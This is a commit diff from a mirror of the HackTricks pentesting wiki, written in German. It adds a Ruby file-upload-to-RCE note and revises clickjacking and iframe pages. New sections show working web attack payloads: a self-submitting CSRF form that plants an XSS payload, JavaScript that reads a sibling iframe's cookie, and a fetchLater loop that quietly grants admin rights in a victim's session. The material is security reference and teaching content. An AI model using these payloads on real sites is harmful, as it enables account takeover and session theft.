mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
f99a132c23
commit
9b02c2599c
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
@ -0,0 +1,9 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Datei-Upload zu RCE
|
||||
|
||||
Wie in [diesem Artikel](https://www.offsec.com/blog/cve-2024-46986/) erklärt, kann das Hochladen einer `.rb`-Datei in sensible Verzeichnisse wie `config/initializers/` zu Remote Code Execution (RCE) in Ruby on Rails-Anwendungen führen.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -4,15 +4,15 @@
|
||||
|
||||
## Was ist Clickjacking
|
||||
|
||||
Bei einem Clickjacking-Angriff wird ein **Benutzer** **getäuscht**, sodass er auf ein **Element** auf einer Webseite klickt, das entweder **unsichtbar** oder als ein anderes Element getarnt ist. Diese Manipulation kann zu unbeabsichtigten Konsequenzen für den Benutzer führen, wie z.B. dem Herunterladen von Malware, der Weiterleitung zu bösartigen Webseiten, der Bereitstellung von Anmeldedaten oder sensiblen Informationen, Geldtransfers oder dem Online-Kauf von Produkten.
|
||||
Bei einem Clickjacking-Angriff wird ein **Benutzer** **getäuscht**, indem er auf ein **Element** auf einer Webseite klickt, das entweder **unsichtbar** oder als ein anderes Element getarnt ist. Diese Manipulation kann zu unbeabsichtigten Konsequenzen für den Benutzer führen, wie z.B. dem Herunterladen von Malware, der Weiterleitung zu bösartigen Webseiten, der Bereitstellung von Anmeldedaten oder sensiblen Informationen, Geldtransfers oder dem Online-Kauf von Produkten.
|
||||
|
||||
### Vorab ausgefüllte Formulare
|
||||
### Vorbefüllung von Formularen Trick
|
||||
|
||||
Manchmal ist es möglich, die **Werte von Feldern eines Formulars mit GET-Parametern beim Laden einer Seite zu füllen**. Ein Angreifer kann dieses Verhalten ausnutzen, um ein Formular mit beliebigen Daten auszufüllen und die Clickjacking-Nutzlast zu senden, damit der Benutzer die Schaltfläche "Absenden" drückt.
|
||||
Manchmal ist es möglich, den **Wert von Feldern eines Formulars mit GET-Parametern beim Laden einer Seite zu füllen**. Ein Angreifer kann dieses Verhalten ausnutzen, um ein Formular mit beliebigen Daten zu füllen und die Clickjacking-Nutzlast zu senden, damit der Benutzer die Schaltfläche Absenden drückt.
|
||||
|
||||
### Formular mit Drag\&Drop ausfüllen
|
||||
|
||||
Wenn Sie möchten, dass der Benutzer ein **Formular ausfüllt**, ihn jedoch nicht direkt bitten möchten, bestimmte Informationen (wie die E-Mail-Adresse oder ein spezifisches Passwort, das Sie kennen) einzugeben, können Sie ihn einfach bitten, etwas zu **Drag\&Drop** zu machen, das Ihre kontrollierten Daten eingibt, wie in [**diesem Beispiel**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
Wenn Sie möchten, dass der Benutzer ein **Formular ausfüllt**, aber ihn nicht direkt bitten möchten, bestimmte Informationen (wie die E-Mail und/oder ein spezifisches Passwort, das Sie kennen) zu schreiben, können Sie ihn einfach bitten, etwas zu **Drag\&Drop**, das Ihre kontrollierten Daten eingibt, wie in [**diesem Beispiel**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Grundlegende Nutzlast
|
||||
```css
|
||||
@ -103,7 +103,7 @@ Ein Beispiel ist in diesem Video zu sehen: [https://www.youtube.com/watch?v=4rGv
|
||||
Ein Codebeispiel finden Sie auf [dieser Seite](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
|
||||
|
||||
> [!WARNING]
|
||||
> Diese Technik ermöglicht es, den Benutzer zu täuschen, damit er an 1 Stelle auf der Opferseite klickt und dabei jeden Schutz gegen Clickjacking umgeht. Der Angreifer muss **sensible Aktionen finden, die mit nur 1 Klick durchgeführt werden können, wie OAuth-Aufforderungen zur Annahme von Berechtigungen**.
|
||||
> Diese Technik ermöglicht es, den Benutzer zu täuschen, damit er an 1 Stelle auf der Opferseite klickt und dabei jeden Schutz gegen Clickjacking umgeht. Der Angreifer muss also **sensible Aktionen finden, die mit nur 1 Klick durchgeführt werden können, wie OAuth-Aufforderungen zur Annahme von Berechtigungen**.
|
||||
|
||||
## Strategien zur Minderung von Clickjacking
|
||||
|
||||
@ -118,8 +118,8 @@ Skripte, die auf der Client-Seite ausgeführt werden, können Maßnahmen ergreif
|
||||
|
||||
Diese Frame-Busting-Skripte können jedoch umgangen werden:
|
||||
|
||||
- **Sicherheitseinstellungen der Browser:** Einige Browser könnten diese Skripte basierend auf ihren Sicherheitseinstellungen oder mangelnder JavaScript-Unterstützung blockieren.
|
||||
- **HTML5 iframe `sandbox` Attribut:** Ein Angreifer kann Frame-Buster-Skripte neutralisieren, indem er das `sandbox`-Attribut mit den Werten `allow-forms` oder `allow-scripts` ohne `allow-top-navigation` festlegt. Dies verhindert, dass das iframe überprüft, ob es das oberste Fenster ist, z.B.,
|
||||
- **Sicherheitseinstellungen der Browser:** Einige Browser blockieren möglicherweise diese Skripte basierend auf ihren Sicherheitseinstellungen oder mangelnder JavaScript-Unterstützung.
|
||||
- **HTML5 iframe `sandbox` Attribut:** Ein Angreifer kann Frame-Buster-Skripte neutralisieren, indem er das `sandbox`-Attribut mit `allow-forms` oder `allow-scripts` Werten ohne `allow-top-navigation` festlegt. Dies verhindert, dass das iframe überprüft, ob es das oberste Fenster ist, z.B.,
|
||||
```html
|
||||
<iframe
|
||||
id="victim_website"
|
||||
|
@ -50,7 +50,7 @@ Beachten Sie, dass if4 als `null`-Ursprung betrachtet wird.
|
||||
|
||||
### Iframes mit CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Bitte beachten Sie, dass in den folgenden Umgehungen die Antwort auf die iframed-Seite keinen CSP-Header enthält, der die Ausführung von JS verhindert.
|
||||
|
||||
Der `self`-Wert von `script-src` erlaubt nicht die Ausführung des JS-Codes mit dem `data:`-Protokoll oder dem `srcdoc`-Attribut.\
|
||||
@ -77,7 +77,7 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
|
||||
</html>
|
||||
```
|
||||
Beachten Sie, dass die **vorherige CSP nur die Ausführung des Inline-Skripts erlaubt**.\
|
||||
Allerdings werden **nur die Skripte `if1` und `if2` ausgeführt, aber nur `if1` kann auf das übergeordnete Geheimnis zugreifen**.
|
||||
Allerdings **werden nur die Skripte `if1` und `if2` ausgeführt, aber nur `if1` kann auf das übergeordnete Geheimnis zugreifen**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -117,7 +117,7 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
|
||||
```
|
||||
### Iframe-Sandbox
|
||||
|
||||
Der Inhalt innerhalb eines iframes kann zusätzlichen Einschränkungen durch die Verwendung des `sandbox`-Attributs unterworfen werden. Standardmäßig wird dieses Attribut nicht angewendet, was bedeutet, dass keine Einschränkungen bestehen.
|
||||
Der Inhalt innerhalb eines iframes kann durch die Verwendung des `sandbox`-Attributs zusätzlichen Einschränkungen unterworfen werden. Standardmäßig wird dieses Attribut nicht angewendet, was bedeutet, dass keine Einschränkungen bestehen.
|
||||
|
||||
Wenn verwendet, auferlegt das `sandbox`-Attribut mehrere Einschränkungen:
|
||||
|
||||
@ -128,12 +128,59 @@ Wenn verwendet, auferlegt das `sandbox`-Attribut mehrere Einschränkungen:
|
||||
- Es verhindert, dass Links mit anderen Browsing-Kontexten interagieren.
|
||||
- Die Verwendung von Plugins über `<embed>`, `<object>`, `<applet>` oder ähnliche Tags ist nicht erlaubt.
|
||||
- Die Navigation des übergeordneten Browsing-Kontexts des Inhalts durch den Inhalt selbst wird verhindert.
|
||||
- Funktionen, die automatisch ausgelöst werden, wie die Videowiedergabe oder das automatische Fokussieren von Formularsteuerelementen, sind blockiert.
|
||||
- Automatisch ausgelöste Funktionen, wie die Wiedergabe von Videos oder das automatische Fokussieren von Formularsteuerelementen, werden blockiert.
|
||||
|
||||
Der Wert des Attributs kann leer gelassen werden (`sandbox=""`), um alle oben genannten Einschränkungen anzuwenden. Alternativ kann er auf eine durch Leerzeichen getrennte Liste spezifischer Werte gesetzt werden, die das iframe von bestimmten Einschränkungen befreien.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
Wie in [diesem Artikel](https://blog.slonser.info/posts/make-self-xss-great-again/) erklärt, wird das `credentialless`-Flag in einem iframe verwendet, um eine Seite innerhalb eines iframes zu laden, ohne Anmeldeinformationen in der Anfrage zu senden, während die Same-Origin-Policy (SOP) der geladenen Seite im iframe beibehalten wird.
|
||||
|
||||
Dies ermöglicht es dem iframe, auf sensible Informationen von einem anderen iframe im gleichen SOP zuzugreifen, das auf der übergeordneten Seite geladen ist:
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
- Exploit-Beispiel: Self-XSS + CSRF
|
||||
|
||||
In diesem Angriff bereitet der Angreifer eine bösartige Webseite mit 2 iframes vor:
|
||||
|
||||
- Ein iframe, das die Seite des Opfers mit dem `credentialless`-Flag lädt, mit einem CSRF, das ein XSS auslöst (Stellen Sie sich ein Self-XSS im Benutzernamen des Benutzers vor):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- Ein weiteres iframe, das tatsächlich den Benutzer angemeldet hat (ohne das `credentialless`-Flag).
|
||||
|
||||
Dann ist es vom XSS aus möglich, auf das andere iframe zuzugreifen, da sie die gleiche SOP haben, und das Cookie zu stehlen, indem man beispielsweise Folgendes ausführt:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater Angriff
|
||||
|
||||
Wie in [diesem Artikel](https://blog.slonser.info/posts/make-self-xss-great-again/) angegeben, ermöglicht die API `fetchLater`, eine Anfrage zu konfigurieren, die später (nach einer bestimmten Zeit) ausgeführt wird. Daher kann dies missbraucht werden, um beispielsweise ein Opfer in die Sitzung eines Angreifers einzuloggen (mit Self-XSS), eine `fetchLater`-Anfrage zu setzen (um das Passwort des aktuellen Benutzers zu ändern) und sich aus der Sitzung des Angreifers abzumelden. Dann loggt sich das Opfer in seiner eigenen Sitzung ein und die `fetchLater`-Anfrage wird ausgeführt, wodurch das Passwort des Opfers auf das vom Angreifer festgelegte geändert wird.
|
||||
|
||||
Auf diese Weise kann der Angreifer selbst dann eine Anfrage in der Sitzung des Opfers ausführen, wenn die URL des Opfers nicht in einem iframe geladen werden kann (aufgrund von CSP oder anderen Einschränkungen).
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## Iframes in SOP
|
||||
|
||||
Überprüfen Sie die folgenden Seiten:
|
||||
|
Loading…
x
Reference in New Issue
Block a user